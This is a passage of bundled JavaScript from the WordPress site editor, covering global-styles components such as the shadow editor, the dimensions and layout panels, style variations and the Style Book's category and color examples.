          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            size: "small",
            icon: library_plus,
            label: (0,external_wp_i18n_namespaceObject.__)('Add shadow'),
            onClick: () => {
              onAddShadowPart();
            },
            ref: addShadowButtonRef
          })
        })]
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      isBordered: true,
      isSeparated: true,
      children: shadowParts.map((part, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_edit_panel_ShadowItem, {
        shadow: part,
        onChange: value => onChangeShadowPart(index, value),
        canRemove: shadowParts.length > 1,
        onRemove: () => onRemoveShadowPart(index)
      }, index))
    })]
  });
}
function shadows_edit_panel_ShadowItem({
  shadow,
  onChange,
  canRemove,
  onRemove
}) {
  const popoverProps = {
    placement: 'left-start',
    offset: 36,
    shift: true
  };
  const shadowObj = (0,external_wp_element_namespaceObject.useMemo)(() => shadowStringToObject(shadow), [shadow]);
  const onShadowChange = newShadow => {
    onChange(shadowObjectToString(newShadow));
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
    popoverProps: popoverProps,
    className: "edit-site-global-styles__shadow-editor__dropdown",
    renderToggle: ({
      onToggle,
      isOpen
    }) => {
      const toggleProps = {
        onClick: onToggle,
        className: dist_clsx('edit-site-global-styles__shadow-editor__dropdown-toggle', {
          'is-open': isOpen
        }),
        'aria-expanded': isOpen
      };
      const removeButtonProps = {
        onClick: () => {
          if (isOpen) {
            onToggle();
          }
          onRemove();
        },
        className: dist_clsx('edit-site-global-styles__shadow-editor__remove-button', {
          'is-open': isOpen
        }),
        label: (0,external_wp_i18n_namespaceObject.__)('Remove shadow')
      };
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          icon: library_shadow,
          ...toggleProps,
          children: shadowObj.inset ? (0,external_wp_i18n_namespaceObject.__)('Inner shadow') : (0,external_wp_i18n_namespaceObject.__)('Drop shadow')
        }), canRemove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: "small",
          icon: library_reset,
          ...removeButtonProps
        })]
      });
    },
    renderContent: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, {
      paddingSize: "medium",
      className: "edit-site-global-styles__shadow-editor__dropdown-content",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowPopover, {
        shadowObj: shadowObj,
        onChange: onShadowChange
      })
    })
  });
}
function ShadowPopover({
  shadowObj,
  onChange
}) {
  const __experimentalIsRenderedInSidebar = true;
  const enableAlpha = true;
  const onShadowChange = (key, value) => {
    const newShadow = {
      ...shadowObj,
      [key]: value
    };
    onChange(newShadow);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 4,
    className: "edit-site-global-styles__shadow-editor-panel",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ColorPalette, {
      clearable: false,
      enableAlpha: enableAlpha,
      __experimentalIsRenderedInSidebar: __experimentalIsRenderedInSidebar,
      value: shadowObj.color,
      onChange: value => onShadowChange('color', value)
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
      __nextHasNoMarginBottom: true,
      value: shadowObj.inset ? 'inset' : 'outset',
      isBlock: true,
      onChange: value => onShadowChange('inset', value === 'inset'),
      hideLabelFromVision: true,
      __next40pxDefaultSize: true,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
        value: "outset",
        label: (0,external_wp_i18n_namespaceObject.__)('Outset')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
        value: "inset",
        label: (0,external_wp_i18n_namespaceObject.__)('Inset')
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
      columns: 2,
      gap: 4,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
        label: (0,external_wp_i18n_namespaceObject.__)('X Position'),
        value: shadowObj.x,
        onChange: value => onShadowChange('x', value)
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
        label: (0,external_wp_i18n_namespaceObject.__)('Y Position'),
        value: shadowObj.y,
        onChange: value => onShadowChange('y', value)
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
        label: (0,external_wp_i18n_namespaceObject.__)('Blur'),
        value: shadowObj.blur,
        onChange: value => onShadowChange('blur', value)
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowInputControl, {
        label: (0,external_wp_i18n_namespaceObject.__)('Spread'),
        value: shadowObj.spread,
        onChange: value => onShadowChange('spread', value)
      })]
    })]
  });
}
function ShadowInputControl({
  label,
  value,
  onChange
}) {
  const onValueChange = next => {
    const isNumeric = next !== undefined && !isNaN(parseFloat(next));
    const nextValue = isNumeric ? next : '0px';
    onChange(nextValue);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalUnitControl, {
    label: label,
    __next40pxDefaultSize: true,
    value: value,
    onChange: onValueChange
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-shadows.js
/**
 * Internal dependencies
 */



function ScreenShadows() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsPanel, {});
}
function ScreenShadowsEdit() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowsEditPanel, {});
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/dimensions-panel.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


const {
  useGlobalStyle: dimensions_panel_useGlobalStyle,
  useGlobalSetting: dimensions_panel_useGlobalSetting,
  useSettingsForBlockElement: dimensions_panel_useSettingsForBlockElement,
  DimensionsPanel: dimensions_panel_StylesDimensionsPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const DEFAULT_CONTROLS = {
  contentSize: true,
  wideSize: true,
  padding: true,
  margin: true,
  blockGap: true,
  minHeight: true,
  childLayout: false
};
function DimensionsPanel() {
  const [style] = dimensions_panel_useGlobalStyle('', undefined, 'user', {
    shouldDecodeEncode: false
  });
  const [inheritedStyle, setStyle] = dimensions_panel_useGlobalStyle('', undefined, 'all', {
    shouldDecodeEncode: false
  });
  const [userSettings] = dimensions_panel_useGlobalSetting('', undefined, 'user');
  const [rawSettings, setSettings] = dimensions_panel_useGlobalSetting('');
  const settings = dimensions_panel_useSettingsForBlockElement(rawSettings);

  // These intermediary objects are needed because the "layout" property is stored
  // in settings rather than styles.
  const inheritedStyleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      ...inheritedStyle,
      layout: settings.layout
    };
  }, [inheritedStyle, settings.layout]);
  const styleWithLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      ...style,
      layout: userSettings.layout
    };
  }, [style, userSettings.layout]);
  const onChange = newStyle => {
    const updatedStyle = {
      ...newStyle
    };
    delete updatedStyle.layout;
    setStyle(updatedStyle);
    if (newStyle.layout !== userSettings.layout) {
      const updatedSettings = {
        ...userSettings,
        layout: newStyle.layout
      };

      // Ensure any changes to layout definitions are not persisted.
      if (updatedSettings.layout?.definitions) {
        delete updatedSettings.layout.definitions;
      }
      setSettings(updatedSettings);
    }
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dimensions_panel_StylesDimensionsPanel, {
    inheritedValue: inheritedStyleWithLayout,
    value: styleWithLayout,
    onChange: onChange,
    settings: settings,
    includeLayoutControls: true,
    defaultControls: DEFAULT_CONTROLS
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-layout.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




const {
  useHasDimensionsPanel: screen_layout_useHasDimensionsPanel,
  useGlobalSetting: screen_layout_useGlobalSetting,
  useSettingsForBlockElement: screen_layout_useSettingsForBlockElement
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenLayout() {
  const [rawSettings] = screen_layout_useGlobalSetting('');
  const settings = screen_layout_useSettingsForBlockElement(rawSettings);
  const hasDimensionsPanel = screen_layout_useHasDimensionsPanel(settings);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Layout')
    }), hasDimensionsPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DimensionsPanel, {})]
  });
}
/* harmony default export */ const screen_layout = (ScreenLayout);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/style-variations-container.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */





const {
  GlobalStylesContext: style_variations_container_GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function StyleVariationsContainer({
  gap = 2
}) {
  const {
    user
  } = (0,external_wp_element_namespaceObject.useContext)(style_variations_container_GlobalStylesContext);
  const userStyles = user?.styles;
  const variations = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_coreData_namespaceObject.store).__experimentalGetCurrentThemeGlobalStylesVariations();
  }, []);

  // Filter out variations that are color or typography variations.
  const fullStyleVariations = variations?.filter(variation => {
    return !isVariationWithProperties(variation, ['color']) && !isVariationWithProperties(variation, ['typography', 'spacing']);
  });
  const themeVariations = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const withEmptyVariation = [{
      title: (0,external_wp_i18n_namespaceObject.__)('Default'),
      settings: {},
      styles: {}
    }, ...(fullStyleVariations !== null && fullStyleVariations !== void 0 ? fullStyleVariations : [])];
    return [...withEmptyVariation.map(variation => {
      var _variation$settings;
      const blockStyles = {
        ...variation?.styles?.blocks
      } || {};

      // We need to copy any user custom CSS to the variation to prevent it being lost
      // when switching variations.
      if (userStyles?.blocks) {
        Object.keys(userStyles.blocks).forEach(blockName => {
          // First get any block specific custom CSS from the current user styles and merge with any custom CSS for
          // that block in the variation.
          if (userStyles.blocks[blockName].css) {
            const variationBlockStyles = blockStyles[blockName] || {};
            const customCSS = {
              css: `${blockStyles[blockName]?.css || ''} ${userStyles.blocks[blockName].css.trim() || ''}`
            };
            blockStyles[blockName] = {
              ...variationBlockStyles,
              ...customCSS
            };
          }
        });
      }
      // Now merge any global custom CSS from current user styles with global custom CSS in the variation.
      const css = userStyles?.css || variation.styles?.css ? {
        css: `${variation.styles?.css || ''} ${userStyles?.css || ''}`
      } : {};
      const blocks = Object.keys(blockStyles).length > 0 ? {
        blocks: blockStyles
      } : {};
      const styles = {
        ...variation.styles,
        ...css,
        ...blocks
      };
      return {
        ...variation,
        settings: (_variation$settings = variation.settings) !== null && _variation$settings !== void 0 ? _variation$settings : {},
        styles
      };
    })];
  }, [fullStyleVariations, userStyles?.blocks, userStyles?.css]);
  if (!fullStyleVariations || fullStyleVariations?.length < 1) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
    columns: 2,
    className: "edit-site-global-styles-style-variations-container",
    gap: gap,
    children: themeVariations.map((variation, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Variation, {
      variation: variation,
      children: isFocused => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_styles, {
        label: variation?.title,
        withHoverView: true,
        isFocused: isFocused,
        variation: variation
      })
    }, index))
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-global-styles/content.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




function SidebarNavigationScreenGlobalStylesContent() {
  const gap = 3;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: 10,
    className: "edit-site-global-styles-variation-container",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleVariationsContainer, {
      gap: gap
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorVariations, {
      title: (0,external_wp_i18n_namespaceObject.__)('Palettes'),
      gap: gap
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyVariations, {
      title: (0,external_wp_i18n_namespaceObject.__)('Typography'),
      gap: gap
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-style-variations.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */




const {
  useZoomOut
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenStyleVariations() {
  // Style Variations should only be previewed in with
  // - a "zoomed out" editor (but not when in preview mode)
  // - "Desktop" device preview
  const isPreviewMode = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_blockEditor_namespaceObject.store).getSettings().isPreviewMode;
  }, []);
  const {
    setDeviceType
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  useZoomOut(!isPreviewMode);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setDeviceType('desktop');
  }, [setDeviceType]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
      title: (0,external_wp_i18n_namespaceObject.__)('Browse styles'),
      description: (0,external_wp_i18n_namespaceObject.__)('Choose a variation to change the look of the site.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, {
      size: "small",
      isBorderless: true,
      className: "edit-site-global-styles-screen-style-variations",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardBody, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenGlobalStylesContent, {})
      })
    })]
  });
}
/* harmony default export */ const screen_style_variations = (ScreenStyleVariations);

;// external ["wp","mediaUtils"]
const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"];
;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/constants.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

const STYLE_BOOK_COLOR_GROUPS = [{
  slug: 'theme-colors',
  title: (0,external_wp_i18n_namespaceObject.__)('Theme Colors'),
  origin: 'theme',
  type: 'colors'
}, {
  slug: 'theme-gradients',
  title: (0,external_wp_i18n_namespaceObject.__)('Theme Gradients'),
  origin: 'theme',
  type: 'gradients'
}, {
  slug: 'custom-colors',
  title: (0,external_wp_i18n_namespaceObject.__)('Custom Colors'),
  origin: 'custom',
  type: 'colors'
}, {
  slug: 'custom-gradients',
  title: (0,external_wp_i18n_namespaceObject.__)('Custom Gradients'),
  origin: 'custom',
  // User.
  type: 'gradients'
}, {
  slug: 'duotones',
  title: (0,external_wp_i18n_namespaceObject.__)('Duotones'),
  origin: 'theme',
  type: 'duotones'
}, {
  slug: 'default-colors',
  title: (0,external_wp_i18n_namespaceObject.__)('Default Colors'),
  origin: 'default',
  type: 'colors'
}, {
  slug: 'default-gradients',
  title: (0,external_wp_i18n_namespaceObject.__)('Default Gradients'),
  origin: 'default',
  type: 'gradients'
}];
const STYLE_BOOK_THEME_SUBCATEGORIES = [{
  slug: 'site-identity',
  title: (0,external_wp_i18n_namespaceObject.__)('Site Identity'),
  blocks: ['core/site-logo', 'core/site-title', 'core/site-tagline']
}, {
  slug: 'design',
  title: (0,external_wp_i18n_namespaceObject.__)('Design'),
  blocks: ['core/navigation', 'core/avatar', 'core/post-time-to-read'],
  exclude: ['core/home-link', 'core/navigation-link']
}, {
  slug: 'posts',
  title: (0,external_wp_i18n_namespaceObject.__)('Posts'),
  blocks: ['core/post-title', 'core/post-excerpt', 'core/post-author', 'core/post-author-name', 'core/post-author-biography', 'core/post-date', 'core/post-terms', 'core/term-description', 'core/query-title', 'core/query-no-results', 'core/query-pagination', 'core/query-numbers']
}, {
  slug: 'comments',
  title: (0,external_wp_i18n_namespaceObject.__)('Comments'),
  blocks: ['core/comments-title', 'core/comments-pagination', 'core/comments-pagination-numbers', 'core/comments', 'core/comments-author-name', 'core/comment-content', 'core/comment-date', 'core/comment-edit-link', 'core/comment-reply-link', 'core/comment-template', 'core/post-comments-count', 'core/post-comments-link']
}];
const STYLE_BOOK_CATEGORIES = [{
  slug: 'overview',
  title: (0,external_wp_i18n_namespaceObject.__)('Overview'),
  blocks: []
}, {
  slug: 'text',
  title: (0,external_wp_i18n_namespaceObject.__)('Text'),
  blocks: ['core/post-content', 'core/home-link', 'core/navigation-link']
}, {
  slug: 'colors',
  title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
  blocks: []
}, {
  slug: 'theme',
  title: (0,external_wp_i18n_namespaceObject.__)('Theme'),
  subcategories: STYLE_BOOK_THEME_SUBCATEGORIES
}, {
  slug: 'media',
  title: (0,external_wp_i18n_namespaceObject.__)('Media'),
  blocks: ['core/post-featured-image']
}, {
  slug: 'widgets',
  title: (0,external_wp_i18n_namespaceObject.__)('Widgets'),
  blocks: []
}, {
  slug: 'embed',
  title: (0,external_wp_i18n_namespaceObject.__)('Embeds'),
  include: []
}];

// Style book preview subcategories for all blocks section.
const STYLE_BOOK_ALL_BLOCKS_SUBCATEGORIES = [...STYLE_BOOK_THEME_SUBCATEGORIES, {
  slug: 'media',
  title: (0,external_wp_i18n_namespaceObject.__)('Media'),
  blocks: ['core/post-featured-image']
}, {
  slug: 'widgets',
  title: (0,external_wp_i18n_namespaceObject.__)('Widgets'),
  blocks: []
}, {
  slug: 'embed',
  title: (0,external_wp_i18n_namespaceObject.__)('Embeds'),
  include: []
}];

// Style book preview categories are organized slightly differently to the editor ones.
const STYLE_BOOK_PREVIEW_CATEGORIES = [{
  slug: 'overview',
  title: (0,external_wp_i18n_namespaceObject.__)('Overview'),
  blocks: []
}, {
  slug: 'text',
  title: (0,external_wp_i18n_namespaceObject.__)('Text'),
  blocks: ['core/post-content', 'core/home-link', 'core/navigation-link']
}, {
  slug: 'colors',
  title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
  blocks: []
}, {
  slug: 'blocks',
  title: (0,external_wp_i18n_namespaceObject.__)('All Blocks'),
  blocks: [],
  subcategories: STYLE_BOOK_ALL_BLOCKS_SUBCATEGORIES
}];

// Forming a "block formatting context" to prevent margin collapsing.
// @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
const ROOT_CONTAINER = `
	.is-root-container {
		display: flow-root;
	}
`;
// The content area of the Style Book is rendered within an iframe so that global styles
// are applied to elements within the entire content area. To support elements that are
// not part of the block previews, such as headings and layout for the block previews,
// additional CSS rules need to be passed into the iframe. These are hard-coded below.
// Note that button styles are unset, and then focus rules from the `Button` component are
// applied to the `button` element, targeted via `.edit-site-style-book__example`.
// This is to ensure that browser default styles for buttons are not applied to the previews.
const STYLE_BOOK_IFRAME_STYLES = `
	body {
		position: relative;
		padding: 32px !important;
	}

	${ROOT_CONTAINER}

	.edit-site-style-book__examples {
		max-width: 1200px;
		margin: 0 auto;
	}

	.edit-site-style-book__example {
	    max-width: 900px;
		border-radius: 2px;
		cursor: pointer;
		display: flex;
		flex-direction: column;
		gap: 40px;
		padding: 16px;
		width: 100%;
		box-sizing: border-box;
		scroll-margin-top: 32px;
		scroll-margin-bottom: 32px;
		margin: 0 auto 40px auto;
	}

	.edit-site-style-book__example.is-selected {
		box-shadow: 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
	}

	.edit-site-style-book__example.is-disabled-example {
		pointer-events: none;
	}

	.edit-site-style-book__example:focus:not(:disabled) {
		box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
		outline: 3px solid transparent;
	}

	.edit-site-style-book__duotone-example > div:first-child {
		display: flex;
		aspect-ratio: 16 / 9;
		grid-row: span 1;
		grid-column: span 2;
	}
	.edit-site-style-book__duotone-example img {
		width: 100%;
		height: 100%;
		object-fit: cover;
	}
	.edit-site-style-book__duotone-example > div:not(:first-child) {
		height: 20px;
		border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
	}

	.edit-site-style-book__color-example {
		border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
	}

	.edit-site-style-book__subcategory-title,
	.edit-site-style-book__example-title {
		font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
		font-size: 13px;
		font-weight: normal;
		line-height: normal;
		margin: 0;
		text-align: left;
		padding-top: 8px;
		border-top: 1px solid color-mix( in srgb, currentColor 10%, transparent );
		color: color-mix( in srgb, currentColor 60%, transparent );
	}

	.edit-site-style-book__subcategory-title {
		font-size: 16px;
		margin-bottom: 40px;
    	padding-bottom: 8px;
	}

	.edit-site-style-book__example-preview {
		width: 100%;
	}

	.edit-site-style-book__example-preview .block-editor-block-list__insertion-point,
	.edit-site-style-book__example-preview .block-list-appender {
		display: none;
	}
	:where(.is-root-container > .wp-block:first-child) {
		margin-top: 0;
	}
	:where(.is-root-container > .wp-block:last-child) {
		margin-bottom: 0;
	}
`;

;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/categories.js
/**
 * WordPress dependencies
 */
// @wordpress/blocks imports are not typed.
// @ts-expect-error


/**
 * Internal dependencies
 */



/**
 * Returns category examples for a given category definition and list of examples.
 * @param {StyleBookCategory} categoryDefinition The category definition.
 * @param {BlockExample[]}    examples           An array of block examples.
 * @return {CategoryExamples|undefined} An object containing the category examples.
 */
function getExamplesByCategory(categoryDefinition, examples) {
  var _categoryDefinition$s;
  if (!categoryDefinition?.slug || !examples?.length) {
    return;
  }
  const categories = (_categoryDefinition$s = categoryDefinition?.subcategories) !== null && _categoryDefinition$s !== void 0 ? _categoryDefinition$s : [];
  if (categories.length) {
    return categories.reduce((acc, subcategoryDefinition) => {
      const subcategoryExamples = getExamplesByCategory(subcategoryDefinition, examples);
      if (subcategoryExamples) {
        if (!acc.subcategories) {
          acc.subcategories = [];
        }
        acc.subcategories = [...acc.subcategories, subcategoryExamples];
      }
      return acc;
    }, {
      title: categoryDefinition.title,
      slug: categoryDefinition.slug
    });
  }
  const blocksToInclude = categoryDefinition?.blocks || [];
  const blocksToExclude = categoryDefinition?.exclude || [];
  const categoryExamples = examples.filter(example => {
    return !blocksToExclude.includes(example.name) && (example.category === categoryDefinition.slug || blocksToInclude.includes(example.name));
  });
  if (!categoryExamples.length) {
    return;
  }
  return {
    title: categoryDefinition.title,
    slug: categoryDefinition.slug,
    examples: categoryExamples
  };
}

/**
 * Returns category examples for a given category definition and list of examples.
 *
 * @return {StyleBookCategory[]} An array of top-level category definitions.
 */
function getTopLevelStyleBookCategories() {
  const reservedCategories = [...STYLE_BOOK_THEME_SUBCATEGORIES, ...STYLE_BOOK_CATEGORIES].map(({
    slug
  }) => slug);
  const extraCategories = (0,external_wp_blocks_namespaceObject.getCategories)();
  const extraCategoriesFiltered = extraCategories.filter(({
    slug
  }) => !reservedCategories.includes(slug));
  return [...STYLE_BOOK_CATEGORIES, ...extraCategoriesFiltered];
}

;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/color-examples.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

const ColorExamples = ({
  colors,
  type,
  templateColumns = '1fr 1fr',
  itemHeight = '52px'
}) => {
  if (!colors) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
    templateColumns: templateColumns,
    rowGap: 8,
    columnGap: 16,
    children: colors.map(color => {
      const className = type === 'gradients' ? (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(color.slug) : (0,external_wp_blockEditor_namespaceObject.getColorClassName)('background-color', color.slug);
      const classes = dist_clsx('edit-site-style-book__color-example', className);
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, {
        className: classes,
        style: {
          height: itemHeight
        }
      }, color.slug);
    })
  });
};
/* harmony default export */ const color_examples = (ColorExamples);

;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/duotone-examples.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const DuotoneExamples = ({
  duotones
}) => {
  if (!duotones) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
    columns: 2,
    rowGap: 16,
    columnGap: 16,
    children: duotones.map(duotone => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
        className: "edit-site-style-book__duotone-example",
        columns: 2,
        rowGap: 8,
        columnGap: 8,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
            alt: `Duotone example: ${duotone.slug}`,
            src: "https://s.w.org/images/core/5.3/MtBlanc1.jpg",
            style: {
              filter: `url(#wp-duotone-${duotone.slug})`
            }
          })
        }), duotone.colors.map(color => {
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, {
            className: "edit-site-style-book__color-example",
            style: {
              backgroundColor: color
            }
          }, color);
        })]
      }, duotone.slug);
    })
  });
};
/* harmony default export */ const duotone_examples = (DuotoneExamples);

;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/examples.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





/**
 * Returns examples color examples for each origin
 * e.g. Core (Default), Theme, and User.
 *
 * @param {MultiOriginPalettes} colors Global Styles color palettes per origin.
 * @return {BlockExample[]} An array of color block examples.
 */

function getColorExamples(colors) {
  if (!colors) {
    return [];
  }
  const examples = [];
  STYLE_BOOK_COLOR_GROUPS.forEach(group => {
    const palette = colors[group.type];
    const paletteFiltered = Array.isArray(palette) ? palette.find(origin => origin.slug === group.origin) : undefined;
    if (paletteFiltered?.[group.type]) {
      const example = {
        name: group.slug,
        title: group.title,
        category: 'colors'
      };
      if (group.type === 'duotones') {
        example.content = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(duotone_examples, {
          duotones: paletteFiltered[group.type]
        });
        examples.push(example);
      } else {
        example.content = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(color_examples, {
          colors: paletteFiltered[group.type],
          type: group.type
        });
        examples.push(example);
      }
    }
  });
  return examples;
}

/**
 * Returns examples for the overview page.
 *
 * @param {MultiOriginPalettes} colors Global Styles color palettes per origin.
 * @return {BlockExample[]} An array of block examples.
 */
function getOverviewBlockExamples(colors) {
  const examples = [];

  // Get theme palette from colors if they exist.
  const themePalette = Array.isArray(colors?.colors) ? colors.colors.find(origin => origin.slug === 'theme') : undefined;
  if (themePalette) {
    const themeColorexample = {
      name: 'theme-colors',
      title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
      category: 'overview',
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(color_examples, {
        colors: themePalette.colors,
        type: "colors",
        templateColumns: "repeat(auto-fill, minmax( 200px, 1fr ))",
        itemHeight: "32px"
      })
    };
    examples.push(themeColorexample);
  }

  // Get examples for typography blocks.
  const typographyBlockExamples = [];
  if ((0,external_wp_blocks_namespaceObject.getBlockType)('core/heading')) {
    const headingBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/heading', {
      content: (0,external_wp_i18n_namespaceObject.__)(`AaBbCcDdEeFfGgHhiiJjKkLIMmNnOoPpQakRrssTtUuVVWwXxxYyZzOl23356789X{(…)},2!*&:/A@HELFO™`),
      level: 1
    });
    typographyBlockExamples.push(headingBlock);
  }
  if ((0,external_wp_blocks_namespaceObject.getBlockType)('core/paragraph')) {
    const firstParagraphBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/paragraph', {
      content: (0,external_wp_i18n_namespaceObject.__)(`A paragraph in a website refers to a distinct block of text that is used to present and organize information. It is a fundamental unit of content in web design and is typically composed of a group of related sentences or thoughts focused on a particular topic or idea. Paragraphs play a crucial role in improving the readability and user experience of a website. They break down the text into smaller, manageable chunks, allowing readers to scan the content more easily.`)
    });
